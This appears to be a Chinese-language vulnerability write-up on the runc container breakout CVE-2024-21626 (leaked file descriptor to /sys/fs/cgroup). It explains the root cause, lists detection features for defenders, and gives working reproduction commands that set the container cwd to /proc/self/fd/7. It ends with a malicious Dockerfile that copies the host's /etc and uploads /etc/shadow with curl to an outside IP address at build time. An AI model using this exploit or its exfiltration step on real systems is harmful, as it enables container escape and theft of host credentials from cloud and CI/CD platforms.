公告:several container breakouts due to internally leaked fds

影响范围:runc >=v1.0.0-rc93,<=1.1.11

额外要求:linux内核版本大于5.6 (uname -r)

检查方式

image-20240213163353866

runc

docker中的默认runtime是runc,它是基于OCI specification编写的一个容器底层运行时,可以手动替换为安全性更高、隔离性更强的gvisor(runc),也是基于OCI规范 可以无缝切换

作为底层工具,当runc出现问题会影响docker和k8s

原理

prepareOpenat2函数会检查openat2这个syscall能否被正常调用,若失败 进入到openFallback,若成功 则用unix.Openat2系统调用打开/sys/fs/cgroup,这里的unix.Openat2是有O_CLOEXECflag的

如果成功打开/sys/fs/cgroup,必然有一个fd指向该文件夹,但prepareOpenat2函数执行完之后并没有把这个fd正常关闭 也没有返回 导致泄露

利用思路:runc创建子进程时 && exec/run即将执行的二进制文件还没关闭之前,将process.cwd设置为/proc/self/fd/7,此时这个二进制进程的/proc/[pid]/cwd就会指向容器外的/sys/fs/cgroup,之后的子进程就可以利用该fd的/proc/self/fd/[fdnum]来访问宿主机的文件系统

至于最初为什么要检查openat2,是因为openat(2)可以避免在容器的mount命名空间中挂载宿主机文件系统的目录时存在逃逸的风险,但最终又引入了新的问题

复现

可以不使用完整docker 直接复现runc漏洞

# 将基本镜像导出rootfs
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
# 使用runc命令创建默认配置文件
runc spec
# 修改运行时指定的cwd
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
# exploit
sudo runc --log ./log.json run demo

image-20240213174402355

注意到我们把cwd指定为/proc/self/fd/7,这个数字和golang运行时有关

0, 1, 2分别是标准输入 标准输出和标准错误,3是日志文件,golang程序刚启动时会创建一个epoll文件描述符4和一个管道(5, 6),接着初始化cgroup管理模块时打开/sys/fs/cgroup目录7

但在使用docker run创建的容器中 /sys/fs/cgroup的文件描述符是8,但有时也是7(详细原因暂略 看不懂)

另外一个细节是--log,如果不指定log参数 /sys/fs/cgroup目录的文件描述符就会是3,无法利用(原因略 看不懂)

利用

利用过程中的几条特征

  • 在容器中产生cwd 形如/proc/self/fd/[fd]的进程
  • 在容器中产生目标目录为/proc/self/fd/[fd]symlink(2)symlinkat(2)的系统调用
  • 在容器中产生open/openat/openat2系统调用,且文件名有/proc/\d+/cwd/.* 的正则表达式特征

利用场景(主要针对云服务):

  • 制作恶意镜像 投毒公共库
  • CI/CD平台控制work dir 导致漏洞
FROM ubuntu:latest
WORKDIR /proc/self/fd/7
RUN cp -r ../../../../../etc /hostetc
WORKDIR /
RUN apt update && apt-get install -y --no-install-recommends curl ca-certificates
RUN curl -XPOST --data-binary @/hostetc/shadow http://165.154.148.13:10399/

以上恶意镜像 在build阶段就可以把敏感文件带出 无需实际运行

image-20240213212602227

参考文章:https://github.com/NitroCao/CVE-2024-21626